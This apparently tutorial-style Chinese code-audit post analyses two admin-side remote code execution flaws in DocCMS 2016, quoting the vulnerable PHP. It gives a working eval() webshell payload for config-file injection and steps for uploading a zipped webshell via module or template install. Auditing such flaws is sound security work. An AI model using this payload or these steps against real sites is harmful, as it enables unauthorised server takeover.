天天看點

【代碼審計】背景Getshell的兩種正常姿勢

0x00 前言

  在早些年剛接觸web安全的時候,基礎套路都是找注入--找背景--找上傳點--找資料庫備份--Getshell,然而在代碼審計的角度,也存在類似的基本操作。

這裡結合代碼執行個體介紹白盒Getshell的兩種正常姿勢:寫入配置檔案Getshell、子產品安裝Getshell。

0x01 環境搭建

Doccms官網:http://www.doccms.com

程式源碼:DocCms2016

下載下傳位址:https://pan.baidu.com/s/1pLclifL

0x02 寫入配置檔案Getshell

代碼分析:

1、在/admini/controllers/system/options.php,save函數通過一大串的表達式替換得到變量tempStr,然後調用了string2file函數寫入配置檔案,跟進這兩個函數檢視:

function save()
{
    global $request;
    if(filesize(ABSPATH.'/config/doc-config-'.$request['l'].'.php')>0){
        ……
        $tempStr = file2String(ABSPATH.'/config/doc-config-'.$request['l'].'.php');
        $tempStr = preg_replace("/\('WEBOPEN',.*?\)/i","('WEBOPEN',".$request['webopen'].")",$tempStr);
        $tempStr = preg_replace("/'WEBURL','.*?'/i","'WEBURL','".$request['weburl']."'",$tempStr);
        $tempStr = preg_replace("/'MOBILEURL','.*?'/i","'MOBILEURL','".$request['mobileurl']."'",$tempStr);
        $tempStr = preg_replace("/'WEBSIZE','.*?'/i","'WEBSIZE','".$request['websize']."'",$tempStr);
        $tempStr = preg_replace("/'SITENAME','.*?'/i","'SITENAME','".$request['sitename']."'",$tempStr);
                 ……      

2、在/inc/function.php,第100-105行中,string2file函數,并未做任何處理,隻是将字元串寫入檔案中:

function string2file($str,$filePath)
{
    $fp=fopen($filePath,'w+');
    fwrite($fp,$str);
    fclose($fp);
}      

綜上,在表達式替換字元串的過程中,隻是作為簡單的字元串替換,并未做任何比對限制,我們可以将構造好的代碼寫入配置中,導緻程式在實作上存在代碼執行漏洞。

漏洞利用:

1、 登入背景,在站點設定--基本設定--站點标題處,填寫

Payload:test\');eval($_POST[g]);//

【代碼審計】背景Getshell的兩種正常姿勢

2、 成功寫入全局配置檔案doc-config-cn.php中:

【代碼審計】背景Getshell的兩種正常姿勢

3、直接通路http://127.0.0.1/config/doc-config-cn.php,顯示403Forbidden,全局搜尋 doc-config-cn.php,查找包含該檔案的檔案。

【代碼審計】背景Getshell的兩種正常姿勢

4、通路http://127.0.0.1/editor/keditor/php/upload_json.php,是以檔案包含doc-config-cn.php,包含的代碼執行漏洞被觸發。

【代碼審計】背景Getshell的兩種正常姿勢

0x03 子產品上傳Getshell

function upload_model()
{
    //把模版先暫時上傳在系統根目錄的TEMP檔案夾裡,解決safe_mode On時無法上傳在環境檔案夾下
    //suny.2008.01.16
    $upload = new Upload(10000,'/temp/');
    $fileName = $upload->SaveFile('upfile');
    if(is_file(ABSPATH.'/temp/'.$fileName))
    {
        del_dir(ABSPATH.UPLOADPATH.'temp/');
        mkdirs(ABSPATH.UPLOADPATH.'temp/');
        if(unzip(ABSPATH.UPLOADPATH.'temp/',ABSPATH.'/temp/'.$fileName,ABSPATH.'/temp/'.$fileName)==1)
        {
            $doc = get_config_xmldoc('config');
            exec_config($doc);
            $doc = get_config_xmldoc('install');
            exec_install($doc);
    
            redirect('?m=system&s=managemodel');
        }
    }
}      

在子產品上傳的過程中,先删除temp目錄中存在的所有檔案,然後解壓縮檔案到temp目錄下,我們可以上傳一個壓縮打包好的一句話木馬,自動解壓縮到temp目錄下,擷取webshell。

1、子產品管理--安裝子產品--上傳zip壓縮檔案--上傳完成--自動解壓upload\temp目錄下 可getshell

【代碼審計】背景Getshell的兩種正常姿勢

2、成功将一句話木馬,上傳到temp目錄下

【代碼審計】背景Getshell的兩種正常姿勢

另外,在其他功能中,也找到了類似的操作,如:

模闆管理--上傳模闆--上傳zip壓縮檔案--上傳完成--自動解壓\skins目錄下,可getshell

0x04 END

   如果手頭拿到一套代碼,想要了解如何去Getshell,除了上傳點,那麼這兩種正常姿勢是非常有效的,當然思路不局限,隻是分享一個審計套路而已。

有朋自遠方來,不亦樂乎?有對這方面有研究的童鞋,歡迎前來互相探讨,交流。